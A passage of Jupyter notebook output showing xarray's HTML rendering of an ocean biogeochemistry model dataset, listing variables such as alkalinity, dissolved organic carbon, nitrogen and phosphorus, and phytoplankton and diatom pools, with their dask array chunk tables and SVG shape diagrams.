/>\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored 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class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-85e72c74-03d8-4bb7-b20f-0e5381de4b99' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-85e72c74-03d8-4bb7-b20f-0e5381de4b99' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a3dc26f0-4da1-4a52-abec-cceba2e0bb73' class='xr-var-data-in' type='checkbox'><label for='data-a3dc26f0-4da1-4a52-abec-cceba2e0bb73' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " 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for='data-f9ab0882-ec89-4a17-ac19-fb4784de6d0e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-c932825e-d279-45e6-a5e5-c12e72bc03c5' class='xr-var-data-in' type='checkbox'><label for='data-c932825e-d279-45e6-a5e5-c12e72bc03c5' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" 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id='attrs-efd4fe57-c596-4695-adeb-c206981a9684' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-efd4fe57-c596-4695-adeb-c206981a9684' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-db7621f6-34ff-4406-86a3-c1e7c4bd045f' class='xr-var-data-in' type='checkbox'><label for='data-db7621f6-34ff-4406-86a3-c1e7c4bd045f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 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x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DONr</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-6913a2b4-e566-4296-bf55-28bf77c3271b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6913a2b4-e566-4296-bf55-28bf77c3271b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-8f6a763a-7ddf-4ffe-a1a6-16212fd38dba' class='xr-var-data-in' type='checkbox'><label for='data-8f6a763a-7ddf-4ffe-a1a6-16212fd38dba' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line 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class='xr-var-item'><div class='xr-var-name'><span>DOCr</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-a68c5d57-569b-41c3-a738-a7a15de2617f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a68c5d57-569b-41c3-a738-a7a15de2617f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9fdb9630-3ca6-41a9-831b-b4bd5f892daa' class='xr-var-data-in' type='checkbox'><label for='data-9fdb9630-3ca6-41a9-831b-b4bd5f892daa' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" 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xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" 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class='xr-var-data-in' type='checkbox'><label for='data-049a27f1-6e4b-4207-a561-de905456ddc0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" 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class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c50e20ac-279c-4831-8439-732fbe47a08e' class='xr-var-data-in' type='checkbox'><label for='data-c50e20ac-279c-4831-8439-732fbe47a08e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" 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id='attrs-2afd8857-a8c5-4c40-9c62-707a9b98cea0' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2afd8857-a8c5-4c40-9c62-707a9b98cea0' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-8ee389e1-c3ed-46fb-a89d-29ed53018ba0' class='xr-var-data-in' type='checkbox'><label for='data-8ee389e1-c3ed-46fb-a89d-29ed53018ba0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-9993177b-7955-4159-a7bd-769228ad4232' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9993177b-7955-4159-a7bd-769228ad4232' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-18dee9b6-dd25-483c-b255-96338ea61d9c' class='xr-var-data-in' type='checkbox'><label for='data-18dee9b6-dd25-483c-b255-96338ea61d9c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" 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class='xr-var-name'><span>diatC</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-e1dd83ed-bbb8-4e39-868c-43005a9b8a32' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e1dd83ed-bbb8-4e39-868c-43005a9b8a32' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-94a2d7d1-3b90-42bd-9bc1-f7054996ddac' class='xr-var-data-in' type='checkbox'><label for='data-94a2d7d1-3b90-42bd-9bc1-f7054996ddac' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-fac348a8-da8f-40ed-824d-e117663e5434' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-7ffcdac2-834c-4cf6-b5ac-4967f3678461' class='xr-var-data-in' type='checkbox'><label for='data-7ffcdac2-834c-4cf6-b5ac-4967f3678461' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" 